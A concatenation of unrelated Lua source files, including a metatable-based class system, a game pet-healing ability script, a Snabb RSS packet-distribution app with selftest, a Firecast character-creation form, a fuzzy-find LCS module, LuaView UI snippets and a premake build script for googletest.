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class = {} -- Stores all classes by function, for creating their objects or deriving from them. Calls to a class ctor DONT take args. Change values with the setters/getters after localizing the object call. If you want to derive a class, just make a class like normal, but after you pass a table, pass it the class name second that you want to derive from. local mt = {} function class.new(tab,der) local function new() if der then local obj = class[der]() for k,v in pairs(tab) do if type(v) ~= "function" then obj["Set"..k] = function(val) v = val end obj["Get"..k] = function() return v end else obj[k] = v end end return obj else local s = {} for k,v in pairs(tab) do if type(v) ~= "function" then s["Set"..k] = function(val) v = val end s["Get"..k] = function() return v end else obj[k] = v end end return s end end -- let us be able to return the function for local class declarations as well as storing the Ctor to do a class lookup when creating an obj. class[tab.Class] = new -- Overwrite previous class name table to store its Ctor. return new end function mt.__index(self,k) -- When it cant find something it makes it a table on class' table, named after the initial call variables name and sets its metatable to class' metatable, so __call gets called immediately on it. class[k] = {k} setmetatable(class[k],mt) return class[k] end function mt.__call(...) -- 1st arg = __index table -- 2nd arg = class table -- 3rd arg = new table passed to the 2nd arg/class table. -- 4th arg = table or class string lookup to derive from. local args = {...} -- Deriving: if args[4] then if type(args[4]) == "string" then if class[args[4]] then args[3].Class = args[1][1] local obj = class.new(args[3],args[4]) return obj else class[args[4]] = nil print("Attempt to derive from non-existant class: "..args[4].."\n") return end elseif type(args[4]) == "function" then args[3].Class = args[1][1] local cls = args[4]().GetClass() -- Call the ctor, but just save its class so we can reuse new()'s derive section. local obj = class.new(args[3],cls) return obj else print("Derivative must be a string or a function.\n") return end end -- Creating an obj from the class: if type(args[2]) == "string" then -- Let them pass a class name as string to return an obj when calling class table. if class[args[2]] and type(class[args[2]]) == "function" then -- Its exists within class table. local obj = class[args[2]]() return obj else class[args[2]] = nil -- Cleanup, since our __index metamethod makes tables whenever class table gets touched. print("Attempt to create object from non-existant class: "..args[2].."\n") return end end -- Creating a class: if args[3] then -- Assume theyre creating a class args[3].Class = args[1][1] -- Saved class name from __index table's initialization. local obj = class.new(args[3]) return obj end end setmetatable(class,mt) -- Examples: -- local Base = -- class: Base { -- X = 0, -- Y = 0 -- } -- class: Moving ({ -- XVel = 0, -- YVel = 0 -- }, Base) -- local Npc = -- class: Npc ({ -- Dir = "Idle", -- Speed = 1337, -- JumpH = 256, -- },"Moving") -- local m = class("Npc") -- m.SetX(100) -- m.SetDir("Left") -- m.SetYVel(123) -- print(m.GetX(),m.GetDir(),m.GetYVel()) -- local n = Npc() -- n.SetX(64) -- n.SetY(64) -- print(n.GetX()) -- print(n.GetY())
name = 'cool-test-project' lua = '5.3.2' dependencies = { 'lua == 5.3', 'chain == 1.0-1' } dev_dependencies = { 'mach >= 4.4-1', 'busted >= 2.0.rc11-0' } scripts = { test = 'busted', demo = [[lua -e "require 'src.test'(print)"]] }
--------------------------------------------- -- Healing Ruby --------------------------------------------- require("scripts/globals/monstertpmoves") require("scripts/globals/settings") require("scripts/globals/status") require("scripts/globals/msg") --------------------------------------------- function onAbilityCheck(player, target, ability) return 0, 0 end function onPetAbility(target, pet, skill) local base = 14+target:getMainLvl()+skill:getTP()/12 if (pet:getMainLvl()>30) then base = 44 + 3*(pet:getMainLvl()-30) + skill:getTP()/12 * (pet:getMainLvl()*0.075 - 1) end if (target:getHP()+base > target:getMaxHP()) then base = target:getMaxHP() - target:getHP() --cap it end skill:setMsg(tpz.msg.basic.SELF_HEAL) target:addHP(base) return base end
-- Use of this source code is governed by the Apache 2.0 license; see COPYING. module(..., package.seeall) local packet = require("core.packet") local lib = require("core.lib") local counter = require("core.counter") local siphash = require("lib.hash.siphash") local metadata = require("apps.rss.metadata") local pf = require("pf") local ffi = require("ffi") local rshift = bit.rshift local receive, transmit = link.receive, link.transmit local nreadable = link.nreadable local free, clone = packet.free, packet.clone local mdadd, mdget, mdcopy = metadata.add, metadata.get, metadata.copy local transport_proto_p = { -- TCP [6] = true, -- UDP [17] = true, -- SCTP [132] = true } rss = { config = { default_class = { default = true }, classes = { default = {} }, remove_extension_headers = { default = true } }, shm = { rxpackets = { counter, 0}, rxdrops_filter = { counter, 0} } } local class_config = { name = { required = true }, filter = { required = true }, continue = { default = false } } local hash_info = { -- IPv4 [0x0800] = { addr_offset = 12, addr_size = 8 }, -- IPv6 [0x86dd] = { addr_offset = 8, addr_size = 32 }, } function rss:new (config) local o = { classes = {}, links_configured = {}, queue = link.new("queue"), rxpackets = 0, rxdrops_filter = 0, sync_timer = lib.throttle(1), rm_ext_headers = config.remove_extension_headers } for _, info in pairs(hash_info) do info.key_t = ffi.typeof([[ struct { uint8_t addrs[$]; uint32_t ports; uint8_t proto; } __attribute__((packed)) ]], info.addr_size) info.key = info.key_t() info.hash_fn = siphash.make_hash({ size = ffi.sizeof(info.key), key = siphash.random_sip_hash_key() }) end local function add_class (name, match_fn, continue) assert(name:match("%w+"), "Illegal class name: "..name) table.insert(o.classes, { name = name, match_fn = match_fn, continue = continue, input = link.new(name), output = { n = 0 } }) end local classes = { default = true } for _, class in ipairs(config.classes) do local config = lib.parse(class, class_config) assert(not classes[config.name], "Duplicate filter class: "..config.name) classes[config.name] = true add_class(config.name, pf.compile_filter(config.filter), config.continue) end if config.default_class then -- Catch-all default filter add_class("default", function () return true end) end return setmetatable(o, { __index = self }) end function rss:link () for name, l in pairs(self.output) do if type(name) == "string" then if not self.links_configured[name] then self.links_configured[name] = true local match = false for _, class in ipairs(self.classes) do local instance = name:match("^"..class.name.."_(.*)") if instance then match = true local weight = instance:match("^%w+_(%d+)$") or 1 for _ = 1, weight do table.insert(class.output, l) end -- Avoid calls to lj_tab_len() in distribute() class.output.n = #class.output end end if not match then print("Ignoring link (does not match any filters): "..name) end end end end self.classes_active = {} for _, class in ipairs(self.classes) do if #class.output > 0 then table.insert(self.classes_active, class) end end self.input_tagged = {} for name, link in pairs(self.input) do if type(name) == "string" then local vlan = name:match("^vlan(%d+)$") if vlan then vlan = tonumber(vlan) assert(vlan > 0 and vlan < 4095, "Illegal VLAN id: "..vlan) end table.insert(self.input_tagged, { link = link, vlan = vlan }) end end end local function hash (md) local info = hash_info[md.ethertype] local hash = 0 if info then ffi.copy(info.key.addrs, md.l3 + info.addr_offset, info.addr_size) if transport_proto_p[md.proto] then info.key.ports = ffi.cast("uint32_t *", md.l4)[0] else info.key.ports = 0 end info.key.proto = md.proto -- Our SipHash implementation produces only even numbers to satisfy some -- ctable internals. hash = rshift(info.hash_fn(info.key), 1) end md.hash = hash end local function distribute (p, links, hash) -- This relies on the hash being a 16-bit value local index = rshift(hash * links.n, 16) + 1 transmit(links[index], p) end function rss:push () local queue = self.queue for _, input in ipairs(self.input_tagged) do local link, vlan = input.link, input.vlan local npackets = nreadable(link) self.rxpackets = self.rxpackets + npackets for _ = 1, npackets do local p = receive(link) hash(mdadd(p, self.rm_ext_headers, vlan)) transmit(queue, p) end end for _, class in ipairs(self.classes_active) do -- Apply the filter to all packets. If a packet matches, it is -- put on the class' input queue. If the class is of type -- "continue" or the packet doesn't match the filter, it is put -- back onto the main queue for inspection by the next class. for _ = 1, nreadable(queue) do local p = receive(queue) local md = mdget(p) if class.match_fn(md.filter_start, md.filter_length) then md.ref = md.ref + 1 transmit(class.input, p) if class.continue then transmit(queue, p) end else transmit(queue, p) end end end for _ = 1, nreadable(queue) do local p = receive(queue) local md = mdget(p) if md.ref == 0 then self.rxdrops_filter = self.rxdrops_filter + 1 free(p) end end for _, class in ipairs(self.classes_active) do for _ = 1, nreadable(class.input) do local p = receive(class.input) local md = mdget(p) if md.ref > 1 then md.ref = md.ref - 1 distribute(mdcopy(p), class.output, md.hash) else distribute(p, class.output, md.hash) end end end if self.sync_timer() then counter.set(self.shm.rxpackets, self.rxpackets) counter.set(self.shm.rxdrops_filter, self.rxdrops_filter) end end function selftest () local vlan_id = 123 local addr_ip = ffi.new("uint8_t[4]") local addr_ip6 = ffi.new("uint8_t[16]") local function random_ip(addr) for i = 0, ffi.sizeof(addr) - 1 do addr[i] = math.random(255) end return addr end local ext_hdr = ffi.new([[ struct { uint8_t next_header; uint8_t length; uint8_t data[14]; } __attribute__((packed)) ]]) local function push_ext_hdr(dgram, next_header) local p = dgram:packet() ext_hdr.next_header = next_header ext_hdr.length = 1 local length = ffi.sizeof(ext_hdr) p = packet.prepend(p, ext_hdr, length) dgram:new(p) return length end local Source = {} function Source:new() local o = { eth = require("lib.protocol.ethernet"):new({}), ip = require("lib.protocol.ipv4"):new({ protocol = 17 }), ip6 = require("lib.protocol.ipv6"):new({ next_header = 17 }), udp = require("lib.protocol.udp"):new({}), dgram = require("lib.protocol.datagram"):new() } return setmetatable(o, {__index=Source}) end function Source:random_packet() local p = packet.allocate() local payload_size = math.random(9000) p.length = payload_size self.dgram:new(p) self.udp:src_port(math.random(2^16-1)) self.udp:dst_port(math.random(2^16-1)) self.dgram:push(self.udp) if math.random() > 0.5 then self.ip:src(random_ip(addr_ip)) self.ip:dst(random_ip(addr_ip)) self.ip:total_length(self.ip:sizeof() + self.udp:sizeof() + payload_size) self.dgram:push(self.ip) self.eth:type(0x0800) else local next_header = 17 local ext_hdr_size = 0 for _ = 1, math.ceil(math.random(3)) do ext_hdr_size = ext_hdr_size + push_ext_hdr(self.dgram, next_header) next_header = 0 -- Hop-by-hop header end self.ip6:payload_length(ext_hdr_size + self.udp:sizeof() + payload_size) self.ip6:next_header(next_header) self.ip6:src(random_ip(addr_ip6)) self.ip6:dst(random_ip(addr_ip6)) self.dgram:push(self.ip6) self.eth:type(0x86dd) end self.dgram:push(self.eth) return self.dgram:packet() end function Source:pull () for _, o in ipairs(self.output) do for i = 1, engine.pull_npackets do transmit(o, self:random_packet()) end end end local Sink = {} function Sink:new () return setmetatable({}, { __index = Sink }) end function Sink:push () for _, i in ipairs(self.input) do for _ = 1, link.nreadable(i) do local p = receive(i) local md = mdget(p) assert(md.ethertype == 0x0800 or md.ethertype == 0x86dd, md.ethertype) assert(md.vlan == 0 or md.vlan == vlan_id) local offset = md.vlan == 0 and 0 or 4 assert(md.filter_offset == offset, md.filter_offset) assert(md.filter_start == p.data + offset) assert(md.l3 == p.data + 14 + offset) assert(md.total_length == p.length - 14 - offset) assert(md.filter_length == p.length - offset) if md.ethertype == 0x0800 then assert(md.l4 == md.l3 + 20) else assert(md.l4 == md.l3 + 40) end assert(md.proto == 17) assert(md.frag_offset == 0) assert(md.length_delta == 0, md.length_delta) packet.free(p) end end end local graph = config.new() config.app(graph, "rss", rss, { classes = { { name = "ip", filter = "ip", continue = true }, { name = "ip6", filter = "ip6", continue = true } } }) config.app(graph, "source1", Source) config.app(graph, "source2", Source) config.app(graph, "vlan", require("apps.vlan.vlan").Tagger, { tag = vlan_id }) config.link(graph, "source1.output -> rss.input_plain") config.link(graph, "source2.output -> vlan.input") config.link(graph, "vlan.output -> rss.input_vlan") local sink_groups = { { name = "default", n = 4}, { name = "ip", n = 4 }, { name = "ip6", n = 4 }, } for g, group in ipairs(sink_groups) do for i = 1, group.n do local sink_name = "sink"..g..i config.app(graph, sink_name, Sink) config.link(graph, "rss."..group.name.."_"..i .." -> "..sink_name..".input") end end engine.configure(graph) engine.main({ duration = 2, report = { showlinks = true } }) local function pkts(name, dir) local app = engine.app_table[name] if dir == "out" then return tonumber(counter.read(app.output.output.stats.rxpackets)) else return tonumber(counter.read(app.input.input.stats.rxpackets)) end end local npackets = pkts("source1", "out") + pkts("source2", "out") for g, group in ipairs(sink_groups) do for i = 1, group.n do local share = npackets/group.n if group.name ~= "default" then share = share/2 end local sink_name = "sink"..g..i local pkts = pkts(sink_name, "in") local threshold = 0.05 local value = math.abs(1.0 - pkts/share) if value >= threshold then error(string.format("Unexpected traffic share on %s " .."(expected %f, got %f)", sink_name, threshold, value)) end end end end
local uv = require 'couv' local exports = {} exports['timer'] = function(test) local onceCbCalled = 0 function onceCb(handle) print(string.format("ONCE_CB %d", onceCbCalled)) test.ok(handle) test.ok(not handle:isActive()) onceCbCalled = onceCbCalled + 1 handle:close() end local repeat1CbCalled = 0 local repeat2CbCalled = 0 local repeat2CbAllowed = false local startTime = uv.now() local onceTimers = {} -- Let 10 timers time out in 500 ms total. for i = 1, 10 do onceTimers[i] = uv.Timer.new() onceTimers[i]:start(onceCb, i * 50, 0) end uv.run() test.done() end return exports
TUTORIALS['en'][#TUTORIALS['en'] + 1] = { name = "Console", contents = { {type = CONTENT_TYPES.IMAGE, value = "/images/tutorial/chat_window.png"}, {type = CONTENT_TYPES.TEXT, value = "1 - Chat Channels - Here you will find the communication channels to which you are connected\n\n2 - Message Box - At the bottom of the window you will find the space where you can type messages to send to the channels. After typing press \"Enter\" to send to the selected channel \n\n3 - WASD Mode - This small square can be used to enable or disable the WASD mode. When enabled, you can move your character using the \"W\", \"A\", \"S\" and \"D\" keys on your keyboard and need to press \"Enter\" each time you want to write a message." }, } }
require("firecast.lua"); local __o_rrpgObjs = require("rrpgObjs.lua"); require("rrpgGUI.lua"); require("rrpgDialogs.lua"); require("rrpgLFM.lua"); require("ndb.lua"); require("locale.lua"); local __o_Utils = require("utils.lua"); local function constructNew_frmNovoPersonagem() local obj = GUI.fromHandle(_obj_newObject("popupForm")); local self = obj; local sheet = nil; rawset(obj, "_oldSetNodeObjectFunction", rawget(obj, "setNodeObject")); function obj:setNodeObject(nodeObject) sheet = nodeObject; self.sheet = nodeObject; self:_oldSetNodeObjectFunction(nodeObject); end; function obj:setNodeDatabase(nodeObject) self:setNodeObject(nodeObject); end; _gui_assignInitialParentForForm(obj.handle); obj:beginUpdate(); obj:setName("frmNovoPersonagem"); obj:setTitle("Criar Personagem"); obj:setWidth(300); obj:setHeight(385); obj:setCancelable(false); require("rrpgRequests.lua"); local function saveStateToNodeDatabase() if sheet then if self.rdbJogador.checked then sheet.personagemDo = "jogador"; else sheet.personagemDo = "npc"; end; if self.rdbTodos.checked then sheet.quemPodeVer = "todos"; else sheet.quemPodeVer = "apenasMestre"; end; sheet.lastDataType = self.cmbTemplate.value; end; end; local function criarPersonagem() if self._estaAguardandoResposta then return; end; local nomePersonagem = self.edtNome.text or ""; local dataType = self.cmbTemplate.value or ""; local loginDono = self.cmbJogador.value or ""; if nomePersonagem == "" then showMessage("Preencha o nome do personagem", function() self.edtNome:setFocus(); end); return false; end; if dataType == "" then showMessage("Selecione um layout de ficha", function() self.cmbTemplate:setFocus(); self.cmbTemplate:dropDown(); end); return false; end; if self.rdbJogador.checked and (loginDono == "") then showMessage("Selecione um jogador da lista ou opte por criar um personagem NPC", function() self.cmbJogador:setFocus(); self.cmbJogador:dropDown(); end); return false; end; saveStateToNodeDatabase(); Firecast.Requests.criarPersonagem(self._bibMae, nomePersonagem, dataType, self.rdbTodos.checked, self._mesa:findJogador(loginDono), function() self._estaAguardandoResposta = false; self:unlockWithActivity(); self:close(); end, function(err) self._estaAguardandoResposta = false; self:unlockWithActivity(); showMessage("Não foi possível criar o personagem: " .. (err or "")); end); self._estaAguardandoResposta = true; self:lockWithActivity("Criando personagem"); end; local function carregarComboDeJogadores() local mesa = self._mesa; local jogadoresStrings = {}; self.cmbJogador.values = {}; if mesa ~= nil then local jogadores = mesa.jogadores; for i = 1, #jogadores, 1 do local jogador = jogadores[i]; jogadoresStrings[#jogadoresStrings + 1] = jogador.login; end; end; Utils.sortPtBrArray(jogadoresStrings); self.cmbJogador.items = jogadoresStrings; end; local function carregarComboDeTemplates() local dts = Firecast.Plugins.getInstalledDataTypes(); local dtsToShow = {}; for i = 1, #dts, 1 do local dt = dts[i]; if dt.formType == "sheetTemplate" then dtsToShow[#dtsToShow + 1] = dt; end; end; table.sort(dtsToShow, function (esquerda, direita) return Utils.compareStringPtBr(esquerda.title, direita.title) < 0; end); local titles = {}; local values = {}; for i = 1, #dtsToShow, 1 do titles[i] = string.gsub(dtsToShow[i].title, "&", "n"); values[i] = dtsToShow[i].dataType; end; self.cmbTemplate.items = titles; self.cmbTemplate.values = values; end; local function configurarNodeDatabase() local node = NDB.load("config.xml"); if type(node.novoPersonagem) ~= "table" then node.novoPersonagem = {}; end; node = node.novoPersonagem; node.personagemDo = node.personagemDo or "npc"; node.quemPodeVer = node.quemPodeVer or "soMestre"; self._configNode = node; if node.personagemDo == "jogador" then self.rdbJogador.checked = true; else self.rdbNPC.checked = true; end; if node.quemPodeVer == "todos" then self.rdbTodos.checked = true; else self.rdbSoMestre.checked = true; end; if node.lastDataType ~= nil then self.cmbTemplate.value = node.lastDataType; end; if self.cmbTemplate.value == nil or self.cmbTemplate.value == "" then local templateValues = self.cmbTemplate.values; if #templateValues > 0 then self.cmbTemplate.value = templateValues[1]; end; end; self:setNodeObject(node); end; local function processarRequisicaoDeCancelamento() if not self._estaAguardandoResposta then local temAlgoPreenchido = (self.edtNome.text ~= '') or (self.rdbJogador.checked and self.cmbJogador.text ~= ''); if temAlgoPreenchido then Dialogs.confirmYesNo('Deseja realmente cancelar a criação do personagem?', function (confirmado) if confirmado then self:close(); end end); else self:close(); end; end; end; obj.label1 = GUI.fromHandle(_obj_newObject("label")); obj.label1:setParent(obj); obj.label1:setText("Novo Personagem"); obj.label1:setName("label1"); obj.label1:setFontSize(15); obj.label1:setFontColor("#FFCC66"); obj.label1:setMargins({left=4, right=4, top=3, bottom=3}); obj.label1:setHorzTextAlign("leading"); obj.label1:setAlign("top"); obj.label1:setAutoSize(true); obj.scrollBox1 = GUI.fromHandle(_obj_newObject("scrollBox")); obj.scrollBox1:setParent(obj); obj.scrollBox1:setName("scrollBox1"); obj.scrollBox1:setAlign("client"); obj.scrollBox1:setMargins({left=12, right=12, top=1, bottom=5}); obj.flowLayout1 = GUI.fromHandle(_obj_newObject("flowLayout")); obj.flowLayout1:setParent(obj.scrollBox1); obj.flowLayout1:setAlign("top"); obj.flowLayout1:setMargins({left=10, right=10, top=5, bottom=5}); obj.flowLayout1:setAutoHeight(true); obj.flowLayout1:setMaxControlsPerLine(1); obj.flowLayout1:setName("flowLayout1"); obj.label2 = GUI.fromHandle(_obj_newObject("label")); obj.label2:setParent(obj.flowLayout1); obj.label2:setText("Nome do Personagem:"); obj.label2:setName("label2"); obj.label2:setAutoSize(true); obj.label2:setWordWrap(false); obj.label2:setMargins({top=10, bottom=2}); obj.edtNome = GUI.fromHandle(_obj_newObject("edit")); obj.edtNome:setParent(obj.flowLayout1); obj.edtNome:setName("edtNome"); obj.edtNome:setEnterKeyType("done"); obj.edtNome:setWidth(250); obj.label3 = GUI.fromHandle(_obj_newObject("label")); obj.label3:setParent(obj.flowLayout1); obj.label3:setText("Layout da ficha:"); obj.label3:setName("label3"); obj.label3:setAutoSize(true); obj.label3:setWordWrap(false); obj.label3:setMargins({top=10, bottom=2}); obj.cmbTemplate = GUI.fromHandle(_obj_newObject("comboBox")); obj.cmbTemplate:setParent(obj.flowLayout1); obj.cmbTemplate:setName("cmbTemplate"); obj.cmbTemplate:setWidth(250); obj.label4 = GUI.fromHandle(_obj_newObject("label")); obj.label4:setParent(obj.flowLayout1); obj.label4:setText("Este será um personagem:"); obj.label4:setName("label4"); obj.label4:setAutoSize(true); obj.label4:setWordWrap(false); obj.label4:setMargins({top=10, bottom=2}); obj.flowLayout2 = GUI.fromHandle(_obj_newObject("flowLayout")); obj.flowLayout2:setParent(obj.flowLayout1); obj.flowLayout2:setHeight(40); obj.flowLayout2:setMinWidth(150); obj.flowLayout2:setMaxWidth(600); obj.flowLayout2:setAutoHeight(true); obj.flowLayout2:setName("flowLayout2"); obj.rdbNPC = GUI.fromHandle(_obj_newObject("radioButton")); obj.rdbNPC:setParent(obj.flowLayout2); obj.rdbNPC:setName("rdbNPC"); obj.rdbNPC:setGroupName("personagemDo"); obj.rdbNPC:setText("NPC"); obj.rdbNPC:setHeight(26); obj.flowLineBreak1 = GUI.fromHandle(_obj_newObject("flowLineBreak")); obj.flowLineBreak1:setParent(obj.flowLayout2); obj.flowLineBreak1:setName("flowLineBreak1"); obj.rdbJogador = GUI.fromHandle(_obj_newObject("radioButton")); obj.rdbJogador:setParent(obj.flowLayout2); obj.rdbJogador:setName("rdbJogador"); obj.rdbJogador:setGroupName("personagemDo"); obj.rdbJogador:setText("Do jogador:"); obj.rdbJogador:setWidth(100); obj.rdbJogador:setHeight(26); obj.cmbJogador = GUI.fromHandle(_obj_newObject("comboBox")); obj.cmbJogador:setParent(obj.flowLayout2); obj.cmbJogador:setName("cmbJogador"); obj.cmbJogador:setWidth(148); obj.label5 = GUI.fromHandle(_obj_newObject("label")); obj.label5:setParent(obj.flowLayout1); obj.label5:setText("Quem poderá ver este personagem?"); obj.label5:setName("label5"); obj.label5:setAutoSize(true); obj.label5:setWordWrap(false); obj.label5:setMargins({top=10, bottom=2}); obj.flowLayout3 = GUI.fromHandle(_obj_newObject("flowLayout")); obj.flowLayout3:setParent(obj.flowLayout1); obj.flowLayout3:setHeight(40); obj.flowLayout3:setMinWidth(150); obj.flowLayout3:setMaxWidth(600); obj.flowLayout3:setAutoHeight(true); obj.flowLayout3:setName("flowLayout3"); obj.rdbSoMestre = GUI.fromHandle(_obj_newObject("radioButton")); obj.rdbSoMestre:setParent(obj.flowLayout3); obj.rdbSoMestre:setName("rdbSoMestre"); obj.rdbSoMestre:setGroupName("QuemPodeVerPersonagem"); obj.rdbSoMestre:setText("Somente o mestre"); obj.rdbSoMestre:setWidth(200); obj.rdbSoMestre:setHeight(26); obj.flowLineBreak2 = GUI.fromHandle(_obj_newObject("flowLineBreak")); obj.flowLineBreak2:setParent(obj.flowLayout3); obj.flowLineBreak2:setName("flowLineBreak2"); obj.rdbTodos = GUI.fromHandle(_obj_newObject("radioButton")); obj.rdbTodos:setParent(obj.flowLayout3); obj.rdbTodos:setName("rdbTodos"); obj.rdbTodos:setGroupName("QuemPodeVerPersonagem"); obj.rdbTodos:setText("Todos da mesa"); obj.rdbTodos:setWidth(200); obj.rdbTodos:setHeight(26); obj.layout1 = GUI.fromHandle(_obj_newObject("layout")); obj.layout1:setParent(obj); obj.layout1:setName("layout1"); obj.layout1:setAlign("bottom"); obj.layout1:setMargins({top=2, bottom=2}); obj.layout1:setHeight(40); obj.button1 = GUI.fromHandle(_obj_newObject("button")); obj.button1:setParent(obj.layout1); obj.button1:setText("Criar"); obj.button1:setWidth(100); obj.button1:setHorzTextAlign("center"); obj.button1:setAlign("right"); obj.button1:setName("button1"); obj.button1:setMargins({left=4, right=4}); obj.button2 = GUI.fromHandle(_obj_newObject("button")); obj.button2:setParent(obj.layout1); obj.button2:setText("Cancelar"); obj.button2:setHorzTextAlign("center"); obj.button2:setAlign("right"); obj.button2:setName("button2"); obj.button2:setWidth(100); obj.button2:setMargins({left=4, right=4}); obj._e_event0 = obj:addEventListener("onShow", function (_) carregarComboDeJogadores(); carregarComboDeTemplates(); configurarNodeDatabase(); end, obj); obj._e_event1 = obj:addEventListener("onCancelRequest", function (_) processarRequisicaoDeCancelamento(); end, obj); obj._e_event2 = obj.edtNome:addEventListener("onKeyDown", function (_, event) if event.keyCode == 13 then criarPersonagem(); end; end, obj); obj._e_event3 = obj.cmbJogador:addEventListener("onChange", function (_) if self.cmbJogador.text ~= "" then self.rdbJogador.checked = true; end; end, obj); obj._e_event4 = obj.button1:addEventListener("onClick", function (_) criarPersonagem(); end, obj); obj._e_event5 = obj.button2:addEventListener("onClick", function (_) processarRequisicaoDeCancelamento(); end, obj); function obj:_releaseEvents() __o_rrpgObjs.removeEventListenerById(self._e_event5); __o_rrpgObjs.removeEventListenerById(self._e_event4); __o_rrpgObjs.removeEventListenerById(self._e_event3); __o_rrpgObjs.removeEventListenerById(self._e_event2); __o_rrpgObjs.removeEventListenerById(self._e_event1); __o_rrpgObjs.removeEventListenerById(self._e_event0); end; obj._oldLFMDestroy = obj.destroy; function obj:destroy() self:_releaseEvents(); if (self.handle ~= 0) and (self.setNodeDatabase ~= nil) then self:setNodeDatabase(nil); end; if self.flowLayout1 ~= nil then self.flowLayout1:destroy(); self.flowLayout1 = nil; end; if self.edtNome ~= nil then self.edtNome:destroy(); self.edtNome = nil; end; if self.label5 ~= nil then self.label5:destroy(); self.label5 = nil; end; if self.button1 ~= nil then self.button1:destroy(); self.button1 = nil; end; if self.label1 ~= nil then self.label1:destroy(); self.label1 = nil; end; if self.cmbJogador ~= nil then self.cmbJogador:destroy(); self.cmbJogador = nil; end; if self.label3 ~= nil then self.label3:destroy(); self.label3 = nil; end; if self.label4 ~= nil then self.label4:destroy(); self.label4 = nil; end; if self.button2 ~= nil then self.button2:destroy(); self.button2 = nil; end; if self.rdbNPC ~= nil then self.rdbNPC:destroy(); self.rdbNPC = nil; end; if self.flowLayout2 ~= nil then self.flowLayout2:destroy(); self.flowLayout2 = nil; end; if self.cmbTemplate ~= nil then self.cmbTemplate:destroy(); self.cmbTemplate = nil; end; if self.flowLayout3 ~= nil then self.flowLayout3:destroy(); self.flowLayout3 = nil; end; if self.rdbSoMestre ~= nil then self.rdbSoMestre:destroy(); self.rdbSoMestre = nil; end; if self.rdbJogador ~= nil then self.rdbJogador:destroy(); self.rdbJogador = nil; end; if self.scrollBox1 ~= nil then self.scrollBox1:destroy(); self.scrollBox1 = nil; end; if self.flowLineBreak2 ~= nil then self.flowLineBreak2:destroy(); self.flowLineBreak2 = nil; end; if self.flowLineBreak1 ~= nil then self.flowLineBreak1:destroy(); self.flowLineBreak1 = nil; end; if self.rdbTodos ~= nil then self.rdbTodos:destroy(); self.rdbTodos = nil; end; if self.layout1 ~= nil then self.layout1:destroy(); self.layout1 = nil; end; if self.label2 ~= nil then self.label2:destroy(); self.label2 = nil; end; self:_oldLFMDestroy(); end; obj:endUpdate(); return obj; end; function newfrmNovoPersonagem() local retObj = nil; __o_rrpgObjs.beginObjectsLoading(); __o_Utils.tryFinally( function() retObj = constructNew_frmNovoPersonagem(); end, function() __o_rrpgObjs.endObjectsLoading(); end); assert(retObj ~= nil); return retObj; end; local _frmNovoPersonagem = { newEditor = newfrmNovoPersonagem, new = newfrmNovoPersonagem, name = "frmNovoPersonagem", dataType = "", formType = "undefined", formComponentName = "popupForm", title = "Criar Personagem", description=""}; frmNovoPersonagem = _frmNovoPersonagem; Firecast.registrarForm(_frmNovoPersonagem); return _frmNovoPersonagem;
local ff = {} -- from https://github.com/rrthomas/lua-stdlib/blob/origin/src/lcs.lua --- Longest Common Subsequence algorithm. -- After pseudo-code in <a -- href="http://www.ics.uci.edu/~eppstein/161/960229.html">lecture -- notes</a> by <a href="mailto:eppstein@ics.uci.edu">David Eppstein</a>. -- Find common subsequences. -- @param a first sequence -- @param b second sequence -- @return list of common subsequences -- @return the length of a -- @return the length of b local function commonSubseqs (a, b) local l, m, n = {}, #a, #b for i = m + 1, 1, -1 do l[i] = {} for j = n + 1, 1, -1 do if i > m or j > n then l[i][j] = 0 elseif a[i] == b[j] then l[i][j] = 1 + l[i + 1][j + 1] else l[i][j] = math.max (l[i + 1][j], l[i][j + 1]) end end end return l, m, n end --- Find the longest common subsequence of two sequences. -- The sequence objects must have an <code>__append</code> metamethod. -- This is provided by <code>string_ext</code> for strings, and by -- <code>list</code> for lists. -- @param a first sequence -- @param b second sequence -- @param s an empty sequence of the same type, to hold the result -- @return the LCS of a and b local function longestCommonSubseq (a, b, s) local l, m, n = commonSubseqs (a, b) local i, j = 1, 1 -- local f = getmetatable (s).__append while i <= m and j <= n do if a[i] == b[j] then table.insert(s, a[i]) i = i + 1 j = j + 1 elseif l[i + 1][j] >= l[i][j + 1] then i = i + 1 else j = j + 1 end end return s end -- return a set of sequences which are fuzzy matched with "s" -- from "set" -- if "must" is not nil, at least return one (best matched) -- otherwise, it might return empty function ff.find(s, set, must) local result = {} local bestMatched = {} bestMatched.count = 0 bestMatched.s = nil for i, v in ipairs(set) do local r = longestCommonSubseq(s, v, {}) if ff.sequenceEqual(r,s) then table.insert(result, v) end if #r > bestMatched.count and must then bestMatched.s = v bestMatched.count = #r end end -- at least one sequence matched if #result == 0 and must then table.insert(result, bestMatched.s) end return result end function ff.stringToSequence(s) return {string.byte(s, 1, #s)} end function ff.sequenceToString(s) return string.char(unpack(s)) end function ff.stringSetToSequenceSet(s) local set = {} for _, v in ipairs(s) do table.insert(set, ff.stringToSequence(v)) end return set end function ff.sequenceSetToStringSet(s) local stringSet = {} for _, v in ipairs(s) do table.insert(stringSet, ff.sequenceToString(v)) end return stringSet end function ff.sequenceEqual(a, b) if #a ~= #b then return false end for i = 1, #a do if a[i] ~= b[i] then return false end end return true end function ff.test() local set = ff.stringSetToSequenceSet{"aaabbbccc", "acb", "aaabbbcccccccc", "abc"} local s = ff.stringToSequence"abc" assert("abc" == ff.sequenceToString(s)) local r = ff.find(s, set, false) local set = ff.sequenceSetToStringSet(r) assert(set[1] == "aaabbbccc") assert(set[2] == "aaabbbcccccccc") assert(set[3] == "abc") print("Fuzzy find test passed") end return ff
local image = ImageView() -- 这个图片的路径就在文件夹image中 image:setImageUrl("file://image/auxiliary.png") image:width(48) image:height(48) image:setGravity(Gravity.CENTER) window:addView(image)
-- -- Copyright 2017 Alibaba Group -- License: MIT -- Website: https://alibaba.github.io/LuaViewSDK -- User: tuoli -- Date: 17/4/5 -- Navigation:title("GitHub详情") local meta = object:new() function meta:onCreate(args) self.web = WebView() self.web:frame(0, 0, sys.contW, sys.contH) self.web:loadUrl(args.url) end function meta:handle() end return meta
project "googletest" kind "StaticLib" language "C++" targetdir "%{prj.location}/%{cfg.buildcfg}_%{cfg.architecture}" includedirs { "../../../external_dependencies/googletest/googletest/include", "../../../external_dependencies/googletest/googletest", } files { "../../../external_dependencies/googletest/googletest/src/gtest-all.cc", } filter { "action:vs*" } defines { "_HAS_EXCEPTIONS=0", "WIN32_LEAN_AND_MEAN", "STRICT", "_SILENCE_TR1_NAMESPACE_DEPRECATION_WARNING", "GTEST_CATCH_EXCEPTIONS=0" } buildoptions { "/wd4800", "/wd4511", "/wd4512", "/wd4675" }
